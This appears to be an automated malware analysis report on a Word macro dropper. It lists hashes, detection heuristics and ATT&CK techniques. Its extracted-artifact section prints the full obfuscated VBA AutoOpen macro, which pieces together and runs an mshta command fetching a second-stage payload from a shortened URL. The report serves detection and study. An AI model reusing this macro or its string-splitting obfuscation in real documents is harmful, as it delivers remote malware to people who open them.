Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 09f0e82a3bad997c…

MALICIOUS

Office (OLE)

118.5 KB Created: 2018-11-19 13:10:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: d7b8c3c986495a814c9b8bd10d3f5eef SHA-1: 5de5c8a002ff515346eea4ae9f5d0d25a24f88af SHA-256: 09f0e82a3bad997c32605a1d3f9e40a0489b587af188fd05d4506358f2e890b4
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen subroutine that utilizes WScript.Shell to execute a command. The obfuscated script constructs the command 'mshta.exe https://bit.ly/2DL04jz' to download and run a second-stage payload from the provided URL. This indicates a downloader or droppper functionality.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-9504249-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-9504249-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        pC = ActiveDocument.Range.Information(wdNumberOfPagesInDocument)
        Set shell_obj = CreateObject("WScript.Shell")
        shell_obj.Run nlf
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        pC = ActiveDocument.Range.Information(wdNumberOfPagesInDocument)
        Set shell_obj = CreateObject("WScript.Shell")
        shell_obj.Run nlf
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
    Sub AutoOpen()
        On Error Resume Next
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1476 bytes
SHA-256: bf20f4b646d1fb9d316301b4f37a4036832c872bfe95822cc93e5d445109ac13
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    On Error Resume Next
    Dim shell_obj
    Dim wS As String
    Dim nlf As String
    Dim orgf As String
    wS = "Ws"
    Sw = "\sta"
    wS = wS & "cr"
    Sw = Sw & "rtofd"
    wS = wS & "ip"
    WW = "\Pa"
    nlf = "C:\Windows\System32\ms"
    wS = wS & "t.Sh"
    Sw = Sw & "oc"
    nlf = nlf & "hta.exe " & "https://bit"
    wS = wS & "ell"
    nlf = nlf & "." & "ly/" & "2DL04jz"
    WW = WW & "ge"
    pC = ActiveDocument.Range.Information(wdNumberOfPagesInDocument)
    Set shell_obj = CreateObject("WScript.Shell")
    shell_obj.Run nlf
    If (pC > 1) Then
        PcS = ActiveDocument.Range.Information(wdNumberOfPagesInDocument) + "Feis"
        ActiveDocument.Bookmarks(Sw).Select
    End If
    If (pC > 1) Then
        PcS = ActiveDocument.Range.Information(wdNumberOfPagesInDocument) + "LMjoe"
        ActiveDocument.Bookmarks(WW).Range.Delete
    End If
    PcS = "fdjioa" + ActiveDocument.Range.Information(wdNumberOfPagesInDocument)
    If (ActiveDocument.Range.Information(wdNumberOfPagesInDocument)) Then
        ActiveDocument.Content.Font.Hidden = False
    End If
End Sub